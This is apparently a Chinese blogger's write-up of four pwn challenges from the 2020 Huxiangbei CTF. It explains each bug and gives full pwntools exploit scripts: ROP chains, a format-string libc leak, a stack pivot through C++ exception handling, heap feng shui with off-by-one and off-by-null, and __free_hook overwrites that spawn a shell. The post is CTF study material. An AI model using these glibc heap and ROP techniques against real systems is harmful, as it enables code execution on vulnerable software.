2020湖湘杯复现
虽然没打,但是还是根据师傅们的博客复现一波
参考链接:
https://fmyy.pro/2020/11/02/Competition/湖湘杯2020/
https://www.anquanke.com/post/id/221334
printf_pwn
暂时不理解为什么输入0x20就能直接进入栈溢出的函数,先记录下吧,改天复现学习一下google ctf
from pwn import *
local = 1
binary = "./main"
libc_path = './libc-2.23.so'
# port = ""
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
for i in range(16):
p.sendline(str(0x20))
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['puts']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
elf = ELF(binary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = elf.plt['read']
pop_rdi_ret = 0x0000000000401213
vul = 0x40117F
# vul = 0x4007D4
'''
0x0000000000401213 : pop rdi ; ret
'''
payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vul) + p64(puts_plt)
print "[*] payload len:",hex(len(payload))
p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
leak_libc(puts_addr)
payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(one_gadget) + p64(binsh_addr) + p64(system) + p64(0xdeadbeef)
p.send(payload)
p.interactive()
blend_pwn
我愿称之为三洞合一
格式化字符串漏洞,栈溢出,UAF
看了师傅们的博客才知道题目原型在2017年的一道题目,利用手法很巧妙
这里是利用C++的异常处理,抛出了一个异常,异常的名字很怪,可以在bss段中看到它。这里存在一个栈溢出的漏洞,可以溢出0x8字节,也就是可以直接覆盖rbp。但是程序开启了一个Canary的保护,那么漏洞利用的主要就在于异常处理了。先是通过_cxa_allocate_exception分配了一个0x90大小的堆块,然后在申请的空间中赋了字符串的值。这里在调试的时候发现其调用了bss段中的函数指针,一开始的想法就是修改这个指针,但是没有办法利用UAF。后面就是通过_cxa_throw函数抛出异常的过程了,这个时候查到了原型题目,发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。
所以思路就是在堆上布置一个one_gadget作为返回地址,然后利用gift函数栈迁移到堆上,最后执行ret指令getshell
总结:
栈溢出作用:栈迁移到堆上
UAF作用:泄漏堆地址(该题只能add两次)
格式化字符串作用:泄漏libc
from pwn import *
local = 1
binary = "./blend_pwn"
libc_path = './libc-2.23.so'
# port = ""
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def name(name):
p.sendlineafter('Please enter a name:',name)
def format():
p.sendlineafter('Enter your choice >','1')
def add(content):
p.sendlineafter('Enter your choice >','2')
p.sendafter('input note:',content)
def free(index):
p.sendlineafter('Enter your choice >','3')
p.sendlineafter('index>',str(index))
def show():
p.sendlineafter('Enter your choice >','4')
def gift(payload):
p.sendlineafter('Enter your choice >','666')
p.sendafter('Please input what you want:',payload)
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__libc_start_main']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
name('%11$p\n')
format()
# __libc_start_main = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 240
p.recvuntil('0x')
__libc_start_main = int(p.recv(12),16) - 240
leak_libc(__libc_start_main)
one_gadget = libc_base + 0x4526a
rop = p64(0) * 4 + p64(one_gadget)
add(rop + '\n') #0
add(rop + '\n') #1
free(0)
free(1)
show()
p.recvuntil('index 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print "[*] heap:",hex(heap_addr)
fake_rbp = heap_addr + 0x28 # one_gadget - 0x8
payload = p64(0) * 4 + p64(fake_rbp)
gift(payload)
# gdb.attach(p)
p.interactive()
only_add
我晕了,阴间题目复现了一整天才出来,调试快把眼睛调瞎了,这个必须好好记录一下,wtcllllllll,orz
这波啊,这波是堆风水
逆向与漏洞分析
这个程序只允许add,没有free,但是申请堆块的时候用的是realloc函数
realloc(0) 相当于一个free操作,而且当我们realloc的size小于之前的size的时候相当于对chunk进行一个切割操作,然后将剩下的chunk给free掉
第二个功能就是调用close函数关闭标准输出流
漏洞点在于add功能里面的一个很明显的off-by-one漏洞,可以构造重叠的堆块来打
但是构造就比较麻烦,需要对堆块进行布局,下面详细记录一下
把眼睛看瞎的调试过程
首先要泄漏地址这是没得说的,思路就是爆破_IO_2_1_stdout_,但是要分配到那里去,必须要有一个指向main_arena附近的堆指针
考虑unsorted bin,这样我们利用realloc size < prev size的特点来逐步填充tcache bin
我按照安全客上那个大师傅写的exp没有打通,在清掉buf之后的内容自己又写了一遍,自己的是可以打通的,但是前面的堆布局是按照师傅的博客写的,布局太精妙了,总之wtcl,周四或周五自己再想一种新的布局吧
malloc_size = 0x4f0
for i in range(6):
add(malloc_size,'a)
add(0x80,'a')
delete()
add(malloc_size,'1')
add(0xa8,'1')
delete()
add(malloc_size)
add(0x80)
delete()
目前的堆布局是这样的
在这伪造一个0xb0大小的堆块是为了后续构造overlap chunk来做个准备
第二步是来构造三个0x30大小左右的chunk,然后来做堆重叠,方便覆盖fd pointer
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x48)
delete()
add(malloc_size)
add(0x28)
第三步就是来生成unsorted,然后利用之前的0xb0大小的chunk来做一个off-by-one,利用下面几个小chunk来做
add(0x3c0)
add(0x80)
delete()
add(0xa8, b"a" * 0xa8 + b'\xf1')
成功溢出,将一个为0x90大小的chunk的size给改了
第四步来将刚才改掉的0x90大小的chunk给申请过来,然后free掉,让其进入0xf0大小的tcache bin中
add(0x88)
delete()
这时该chunk的空间布局是这样的
然后干这样的事情,改一下堆布局,就成这样了
add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
完成堆重叠,能够控制unsorted bin了
delete()
add(0x48, b"a" * 0x48 + b"\xc1")
delete()
add(0x28)
delete()
stdout = 0xa760
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()
成功踩掉后两个字节,倒数第四位需要爆破,1/16的概率
第五步来爆破标准输出流,爆破成功后是这样的,所以这样写
delete()
add(0x28)
delete()
add(0x28)
delete()
# dbg()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
p.recv(0x18)
leak = u64(p.recv(8)) + 0x60
leak_libc(leak)
log.success("libc address is {}".format(hex(libc_base)))
最后一步先调用close函数清掉buf缓冲区(因为IO那个fake chunk不满足free的要求)
然后利用重叠的chunk来打__free_hook,最后重定位一下即可,值得一提的是后面没有按照安全客那个博客写,因为感觉他写的是错的,本地也没打通
close_stdout()
p.recvuntil("Bye\n")
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
add_without(0x38)
delete_without()
payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()
add_without(0x38)
delete_without()
payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()
最后效果可以看到成功执行命令whoami
完整exp
from pwn import *
local = 1
'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.7
'''
binary = "./main"
libc_path = './libc-2.28.so'
libc = ELF(libc_path)
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add(size,content = 'a'):
p.sendlineafter('choice:','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Data:',content)
def delete():
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(0))
def close_stdout():
p.sendlineafter("choice:", "2")
def add_without(size, content=b"\n"):
p.sendline("1")
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)
sleep(0.1)
def delete_without():
p.sendline("1")
sleep(0.1)
p.sendline(str(0))
sleep(0.1)
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['_IO_2_1_stdout_']
print ("[*] libc base:",hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
while True:
p = process(binary)
try:
malloc_size = 0x4f0
for i in range(6):
add(malloc_size,'a')
add(0x80,'a')
delete()
add(malloc_size,'1')
add(0xa8,'1')
delete()
add(malloc_size)
add(0x80)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x48)
delete()
add(malloc_size)
add(0x28)
delete()
log.success("free unsorted bin chunk")
add(0x3c0)
add(0x80)
delete()
add(0xa8, b"a" * 0xa8 + b'\xf1')
delete()
add(0x88)
delete()
add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
delete()
add(0x48, b"a" * 0x48 + b"\xc1")
delete()
add(0x28)
delete()
stdout = 0xa760
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()
add(0x28)
delete()
add(0x28)
delete()
dbg()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
p.recv(0x18)
leak = u64(p.recv(8)) + 0x60
leak_libc(leak)
log.success("libc address is {}".format(hex(libc_base)))
if libc_base > 0x800000000000:
p.close()
continue
break
except KeyboardInterrupt:
exit(0)
close_stdout()
p.recvuntil("Bye\n")
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
add_without(0x38)
delete_without()
payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
add_without(0xb0,payload)
delete_without()
add_without(0x38)
delete_without()
payload2 = b"whoami 1>&2".ljust(0x18, b"\x00") + p64(system_addr) + b"\n"
add_without(0x38, payload2)
delete_without()
p.interactive()
cat flag:
babyheap
虽然也有点儿堆风水的味道,但是比上面那个简单的多,也是我比赛中唯一可能做出来的了(我自己爬)
漏洞点在off-by-null,并且只能申请0xf8大小的chunk,但是比较简单的是我们可申请的chunk非常多
思路就是一开始整一个大的unsorted bin,然后再申请一个chunk,这样根据残留的堆指针可以leak libc_base
然后构造chunk,利用off by null,使得两个指针指向同一个chunk,一个作为free态,一个作为可edit的allocated的chunk,然后就打freehook即可
最后构造出来是这样的
getshell,这个题还是挺简单的
exp:
from pwn import *
local = 1
'''
author: lemon
time: 2020-11-11
libc: libc-2.28.so
python version: 3.8.2
'''
binary = "./main"
libc_path = './libc-2.28.so'
# port = ""
if local == 1:
p = process(binary)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add():
p.sendlineafter('>>','1')
def show(index):
p.sendlineafter('>>','2')
p.sendlineafter('index?',str(index))
def edit(index,size,content):
p.sendlineafter('>>','3')
p.sendlineafter('index?',str(index))
p.sendlineafter('Size:',str(size))
p.sendafter('',content)
def free(index):
p.sendlineafter('>>','4')
p.sendlineafter('index?',str(index))
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['__malloc_hook'] - 0x1f0
print ("[*] libc base:",hex(libc_base))
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
for i in range(7):
add()
add() # 7
add() # 8
add() # 9
for i in range(7):
free(i)
free(7)
free(8)
for i in range(7):
add()
log.success("Now , unsorted bin is 0x200, we alloca 0x100, it must has a pointer to point main_arena*")
add() # 7
show(7)
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10
leak_libc(leak)
log.success("Now , we attack __free_hook")
add() # 8
add() # 10
add() # 11
add() # 12
add() # 13
add() # 14
add() # 15
add() # 16
for i in range(7):
free(i)
free(9)
free(10)
free(11)
free(12)
for i in range(7):
add()
add() # 9
add() # 10
add() # 11
add() # 12
for i in range(7):
free(i)
free(9)
edit(10,0xf8,'lemon')
free(11)
for i in range(7):
add()
add() # 9
add() # 11 == 10
free(10)
payload = p64(__free_hook)
edit(11,0xf0,payload)
add() # 10
edit(10,0xf0,'/bin/sh')
add() # 17
edit(17,0xf0,p64(system))
free(10)
# gdb.attach(p)
p.interactive()